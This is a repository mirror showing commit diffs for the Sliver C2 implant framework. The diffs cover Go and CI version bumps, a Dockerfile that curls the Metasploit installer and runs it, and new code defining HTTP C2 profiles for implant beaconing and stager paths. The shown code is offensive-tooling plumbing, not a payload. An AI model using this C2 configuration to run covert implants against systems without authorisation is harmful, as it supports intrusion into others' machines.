mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
259
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ee2a72ff5f | ||
|
|
86507dc5c5 | ||
|
|
d2b43ebb9f | ||
|
|
3a0ce8b890 | ||
|
|
623579affb | ||
|
|
632eacf3fd | ||
|
|
6918743f03 | ||
|
|
5d333af798 | ||
|
|
68cddc1de2 | ||
|
|
c681fa68f3 | ||
|
|
8a04d8d882 | ||
|
|
b973e286cb | ||
|
|
49f9cf0963 | ||
|
|
5ffdcf8a7a | ||
|
|
01656894ee | ||
|
|
d994f76920 | ||
|
|
6e40fcdf91 | ||
|
|
b6df1e2981 | ||
|
|
56b84e44f3 | ||
|
|
96896a7442 | ||
|
|
ac9b293942 | ||
|
|
ebf68f6b61 | ||
|
|
e25e228f5c | ||
|
|
b84092b24b | ||
|
|
eddfa20684 | ||
|
|
21468a6310 | ||
|
|
48d7e7217c | ||
|
|
a19fddfdba | ||
|
|
f944d24dc3 | ||
|
|
917586f2cc | ||
|
|
4e56c69cfe | ||
|
|
e6487fb01d | ||
|
|
d88011e140 | ||
|
|
2c5c3ac997 | ||
|
|
9178f6ea5b | ||
|
|
a691484f47 | ||
|
|
3442599ee8 | ||
|
|
d3f40963e3 | ||
|
|
c83a0447b3 | ||
|
|
daaf6e27a2 | ||
|
|
9d1fa0d016 | ||
|
|
a13d63ee47 | ||
|
|
4da9233563 | ||
|
|
16db6033a5 | ||
|
|
c1d1bf7873 | ||
|
|
3217ab53fe | ||
|
|
d46e43dbd6 | ||
|
|
070bac1bf3 | ||
|
|
9a63b64a39 | ||
|
|
9894d79dbf | ||
|
|
4b0190b08c | ||
|
|
80dea74d97 | ||
|
|
db5d12d4b6 | ||
|
|
1c4503c1cc | ||
|
|
13fb854b4e | ||
|
|
d0574ffe48 | ||
|
|
ba6b53d569 | ||
|
|
749c3b9247 | ||
|
|
79ca1c9f72 | ||
|
|
7a6f2c3b53 | ||
|
|
e4ade4e8c9 | ||
|
|
f4beecdc8a | ||
|
|
78627a6eff | ||
|
|
77f2b7fd48 | ||
|
|
6f043f8406 | ||
|
|
9870c254f6 | ||
|
|
99281bad0f | ||
|
|
02d1eb5ba4 | ||
|
|
fce86738cc | ||
|
|
b723194931 | ||
|
|
7dc631077a | ||
|
|
e204247009 | ||
|
|
504e5c7b32 | ||
|
|
fdec3cb317 | ||
|
|
b7d0dcc5dd | ||
|
|
0b7596373a | ||
|
|
d58c7b3bca | ||
|
|
c23a542233 | ||
|
|
5b415c5aa1 | ||
|
|
6c77151b80 | ||
|
|
5e7507ba4d | ||
|
|
06d5a934be | ||
|
|
e804605d05 | ||
|
|
35eac6f582 | ||
|
|
ff382e4029 | ||
|
|
5a5e8d2a04 | ||
|
|
05a69474e5 | ||
|
|
4516e4994d | ||
|
|
843e287f0c | ||
|
|
47f19d477d | ||
|
|
aee2f78718 | ||
|
|
2edb14baa1 | ||
|
|
a2208280a0 | ||
|
|
0834b725fd | ||
|
|
a0fa261e32 | ||
|
|
c578c426dc | ||
|
|
da9b72c72c | ||
|
|
cb8170c27b | ||
|
|
03cfab5276 | ||
|
|
114ad3e6a1 | ||
|
|
3d6a8dda52 | ||
|
|
ea1fbf1d74 | ||
|
|
49b8cd299a | ||
|
|
b8dcf756f7 | ||
|
|
0b9d7cc603 | ||
|
|
3ba3cf1177 | ||
|
|
9c87c59ec6 | ||
|
|
dd249088c3 | ||
|
|
914354222d | ||
|
|
369406928c | ||
|
|
f6ac166314 | ||
|
|
3da9ffb7d3 | ||
|
|
01c813148b | ||
|
|
7fce95e707 | ||
|
|
71ba959e12 | ||
|
|
5d40d41105 | ||
|
|
237663be19 | ||
|
|
96a6efae07 | ||
|
|
3561461547 | ||
|
|
1d9d5cf85a | ||
|
|
e70a022981 | ||
|
|
b0c3549b08 | ||
|
|
d924d80ddb | ||
|
|
b3acf2db1f | ||
|
|
a670538a77 | ||
|
|
d6ea4794b7 | ||
|
|
7b67ec872e | ||
|
|
a2bbaa095e | ||
|
|
e5a01ae244 | ||
|
|
4bcefdddb5 | ||
|
|
8e64ab288d | ||
|
|
1bba3532af | ||
|
|
002e38e0ac | ||
|
|
99817a5f35 | ||
|
|
4921fa4fcf | ||
|
|
b044a4584b | ||
|
|
eccc31f945 | ||
|
|
f2b42211d2 | ||
|
|
b1ba761fff | ||
|
|
580d5128ba | ||
|
|
67c519e8d6 | ||
|
|
4f9851215e | ||
|
|
f32d9a91ee | ||
|
|
f9c5daec39 | ||
|
|
f623b0cdce | ||
|
|
9b5d4c3bab | ||
|
|
29c2c9df76 | ||
|
|
58b4596598 | ||
|
|
a9f885a919 | ||
|
|
5a532f77dc | ||
|
|
375f6fd235 | ||
|
|
0a32ca109d | ||
|
|
d048427ebf | ||
|
|
d22579c204 | ||
|
|
fb5bd84811 | ||
|
|
1e79af3d89 | ||
|
|
f018f86522 | ||
|
|
584cacb7da | ||
|
|
714ab96270 | ||
|
|
ae8444fc75 | ||
|
|
c7a2bbc46b | ||
|
|
4458911e5c | ||
|
|
477df0eac9 | ||
|
|
22286fdcdd | ||
|
|
150b62a0aa | ||
|
|
388b371573 | ||
|
|
fd0e54c02c | ||
|
|
7741b0373f | ||
|
|
00197deefb | ||
|
|
0f11532e37 | ||
|
|
c75cf89def | ||
|
|
bfacc71048 | ||
|
|
f99b3cae9c | ||
|
|
6bd1108152 | ||
|
|
6db7861a70 | ||
|
|
aa2652e4e7 | ||
|
|
c7531bdacf | ||
|
|
b7d8c535f0 | ||
|
|
a1194c0c41 | ||
|
|
aac5b227ca | ||
|
|
20221a8a50 | ||
|
|
fca1202cee | ||
|
|
6e49197b2c | ||
|
|
bbe5f4c7cf | ||
|
|
66c521d719 | ||
|
|
25f7c6e63e | ||
|
|
678c70d108 | ||
|
|
ee95829770 | ||
|
|
a73bdf91e2 | ||
|
|
2cac1eb38b | ||
|
|
9148720eb2 | ||
|
|
dcb0128c3c | ||
|
|
195354792e | ||
|
|
1419e7173c | ||
|
|
1241d87b9b | ||
|
|
3dc7002fdd | ||
|
|
80947425ec | ||
|
|
185ded66c2 | ||
|
|
884f2d0bd7 | ||
|
|
4d0f6585d8 | ||
|
|
998bd5ab80 | ||
|
|
76a8de643f | ||
|
|
a463aa1218 | ||
|
|
5281465c7f | ||
|
|
dd433136bc | ||
|
|
906b8eeec7 | ||
|
|
126dcf7d86 | ||
|
|
43eb9e3ded | ||
|
|
c8a661dccc | ||
|
|
66b7b98ed3 | ||
|
|
d341b1cb3a | ||
|
|
f5d2cd2e94 | ||
|
|
2b2feb306b | ||
|
|
d390ac95c7 | ||
|
|
52ff6b4c52 | ||
|
|
4c8486349b | ||
|
|
58bcac52eb | ||
|
|
8469c9a1ce | ||
|
|
ca7b62fb7e | ||
|
|
1902f131e7 | ||
|
|
80e04c71ff | ||
|
|
b8697f6271 | ||
|
|
91b2836968 | ||
|
|
3e67c6e2b8 | ||
|
|
244639a79c | ||
|
|
c03975d6c4 | ||
|
|
429c520c78 | ||
|
|
a6ba86379a | ||
|
|
4b7b8c4b3e | ||
|
|
75c3d0c0fb | ||
|
|
8f7da07a35 | ||
|
|
95a4604a8b | ||
|
|
992ee14e82 | ||
|
|
2066d200c4 | ||
|
|
683a779159 | ||
|
|
d14003bf14 | ||
|
|
e4b6da3471 | ||
|
|
4c0f36dba2 | ||
|
|
3b295b3bae | ||
|
|
302711e817 | ||
|
|
a8b69b352d | ||
|
|
f180dd9aff | ||
|
|
09f2521bc3 | ||
|
|
d674b8d40f | ||
|
|
d98b24fbc6 | ||
|
|
0f38081c0c | ||
|
|
bedc225344 | ||
|
|
82c68bda54 | ||
|
|
89b0263634 | ||
|
|
865f295c65 | ||
|
|
bad1897e78 | ||
|
|
ae101d3243 | ||
|
|
a947d9efeb | ||
|
|
afa2b5c715 | ||
|
|
086eb7fe42 | ||
|
|
55c8cddf88 | ||
|
|
7661d0c1b9 | ||
|
|
f1f736d7c1 | ||
|
|
8ad0dfb4c8 |
No files matched your search
@@ -11,10 +11,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -22,7 +22,7 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -42,13 +42,13 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
@@ -16,13 +16,13 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -36,7 +36,7 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
|
||||
@@ -15,10 +15,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -27,7 +27,7 @@ jobs:
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -49,16 +49,16 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -80,13 +80,13 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.21"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
+4
-15
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.20.7
|
||||
FROM --platform=linux/amd64 golang:1.21.4
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,10 +6,6 @@ FROM golang:1.20.7
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 21.12
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
@@ -35,21 +31,14 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
RUN mkdir -p ~/.msf4/ \
|
||||
&& touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
#
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
# Protoc
|
||||
# WORKDIR /tmp
|
||||
# RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
# && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
# && cp -vv ./bin/protoc /usr/local/bin
|
||||
# RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
# && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
|
||||
@@ -27,7 +27,7 @@ GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 20
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 21
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
type NameValueProbability struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Probability int `json:"probability"`
|
||||
Methods []string
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
//
|
||||
// .js = poll
|
||||
//
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
ChromeBaseVersion int `json:"chrome_base_version"`
|
||||
MacOSVersion string `json:"macos_version"`
|
||||
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// Stager files and paths
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
StagerFiles []string `json:"stager_files"`
|
||||
StagerPaths []string `json:"stager_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package alias
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -115,7 +115,7 @@ func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -20,7 +20,6 @@ package alias
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -50,7 +49,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
@@ -78,7 +77,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Error creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
@@ -133,7 +132,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
con.PrintErrorf("Failed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
@@ -166,7 +165,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
err = os.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -36,7 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ErrPackageNotFound - The package was not found
|
||||
|
||||
@@ -33,7 +33,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
|
||||
@@ -0,0 +1,437 @@
|
||||
package c2profiles
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/exp/slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// C2ProfileCmd list available http profiles
|
||||
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if profileName == constants.DefaultC2Profile {
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
}
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintC2Profiles(profile, con)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
protocols := []string{constants.HttpStr, constants.HttpsStr}
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
filepath, _ := cmd.Flags().GetString("file")
|
||||
if filepath == "" {
|
||||
con.PrintErrorf("Missing file path\n")
|
||||
return
|
||||
}
|
||||
|
||||
overwrite, _ := cmd.Flags().GetBool("overwrite")
|
||||
|
||||
// retrieve and unmarshal profile config
|
||||
jsonFile, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
byteFile, _ := io.ReadAll(jsonFile)
|
||||
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
|
||||
err = json.Unmarshal(byteFile, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
|
||||
|
||||
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if confirm {
|
||||
var restartJobReq clientpb.RestartJobReq
|
||||
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// reload jobs to include new profile
|
||||
for _, job := range jobs.Active {
|
||||
if job != nil && slices.Contains(protocols, job.Name) {
|
||||
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
|
||||
}
|
||||
}
|
||||
|
||||
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
|
||||
|
||||
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
|
||||
httpC2Headers := []*clientpb.HTTPC2Header{}
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, poll := range config.ImplantConfig.PollFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range config.ImplantConfig.PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: int32(config.ImplantConfig.MaxFiles),
|
||||
MinFiles: int32(config.ImplantConfig.MinFiles),
|
||||
MaxPaths: int32(config.ImplantConfig.MaxPaths),
|
||||
MinPaths: int32(config.ImplantConfig.MinFiles),
|
||||
StagerFileExtension: config.ImplantConfig.StagerFileExt,
|
||||
